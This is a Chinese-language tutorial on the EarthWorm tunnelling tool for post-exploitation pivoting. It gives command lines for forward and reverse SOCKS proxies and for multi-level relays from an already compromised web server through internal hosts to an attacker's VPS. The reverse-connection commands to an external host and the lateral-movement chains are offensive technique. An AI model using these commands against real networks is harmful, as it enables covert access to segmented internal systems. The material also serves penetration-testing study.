1.EarchWorm
測試環境如下:假設我們已經獲得一台web服務器的權限,已經被我們控制的web服務器是連接內網和外網的關鍵節點,內網其他服務器之間均不能直接連接。
ew的升級版:GitHub:
https://github.com/rootkiter/Termite
Ew共有六種命令格式,分別是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。
其中,ssocksd用於普通網絡環境的正向連接;rcsocks、rssocks用於反彈連接;lcx_slave、lcx_listen、lcx_tran用於復雜網絡環境的多級級聯。
ew常用參數說明:
-l:指定要監聽的本地端口
-d:指定要反彈到的機器 ip
-e:指定要反彈到的機器端口
-f:指定要主動連接的機器 ip
-g:指定要主動連接的機器端口
-t:指定超時時長,默認為 1000
(1)正向SOCKS5服務器
當目標機器擁有一個外網IP時,執行如下命令即可開啟一個SOCKS代理服務。
ew -s ssocksd -l 444
(2)反向SOCKS5服務器
如果目標機器沒有公網IP地址,此時我們就可以使用反向SOCKS代理。在公網VPS上添加一條轉接隧道,把1080上接收到的請求轉發到888端口,然后在目標web服務器上啟動SOCKS服務,讓其將SOCKS請求反彈到我們公網VPS的888端口,然后我們就可以通過訪問公網VPS的1080端口來使用架設在目標web服務器上的SOCKS代理服務了。
vps:ew -s rcsocks -l 1080 -e 888
web:ew -s rssocks -d 1.1.1.1 -e 888
rcsocks:反彈連接的SOCKS客戶端;rssocks:反彈連接的SOCKS服務端
此時只需要設置本地瀏覽器代理或者設置kali的proxychins即可訪問目標內網服務。
(3)二級網絡環境(a)
假設我們已經獲得了目標網絡A主機和B主機的控制權限,A主機配有兩塊網卡,一塊可以連接外網,另一塊可以只能連接內網主機B,但是A主機無法訪問內網中其他資源,B主機可以訪問內網資源,但是無法訪問外網。
首先在B主機上,利用ew的ssocksd方式啟動888端口的SOCKS代理。
ew.exe -s ssocksd -l 888
然后在A主機中執行如下命令,將1080端口收到的代理請求轉發給B主機的888端口,這樣就可以通過訪問web服務器公網IP的1080端口使用架設在內網主機B上的SOCKS代理了。
ew -s lcx_tran -l 1080 -f 192.168.190.130 -g 888
(4)二級網絡環境(b)
假設我們已經獲得了目標網絡A主機和B主機的權限,A主機沒有公網IP且不能訪問內網資源,B主機可以訪問內網資源,但無法訪問外網,A主機可以訪問B主機。
首先在我們的公網VPS上添加轉接隧道,將1080端口收到的代理請求轉發給888端口。
ew -s lcx_listen -l 1080 -e 888
接着在目標B主機中使用ssocksd方式啟動999端口的SOCKS代理服務。
ew -s ssocksd -l 999
最后,在目標A主機上使用lcx_slave方式將公網vps的888端口和主機B的999端口連接起來。
ew -s lcx_slave -d 1.1.1.1 -e 888 -f 192.168.190.130 -g 999
-d:要反彈連接的主機IP
-e:要反彈連接的主機端口
-f :要主動連接的主機IP
-g:要主動連接的主機端口
(5)三級網絡環境
測試環境為:內網A主機沒有公網IP地址,但可以訪問外網;B主機不能訪問外網,但可以被A主機訪問;C主機可被B主機訪問,且能夠訪問核心區域。
首先,在公網VPS上執行如下命令,將1080端口接收到的SOCKS代理請求轉發到888端口。
ew -s rcsocks -l 1080 -e 888
接着在A主機上執行如下命令,將VPS的888端口和內網主機B的999端口連接起來。
ew -s lcx_slave -d 1.1.1.1 -e 888 -f 192.168.190.130 -g 999
然后在主機B上執行如下命令,將999端口接收到的代理請求轉發給777端口。ew
ew -s lcx_listen -l 999 -e 777
最后,在C主機上啟動SOCKS服務,並反彈到B主機的777端口上。
ew -s rssocks -d 192.168.190.130 -e 777
然后,訪問公網VPS的1080端口,即可使用在C主機上假設的SOCKS代理。我們可以配置kali的proxychains代理地址為我們公網VPS的地址,然后就使用desktop連接內網主機C的遠程桌面或。
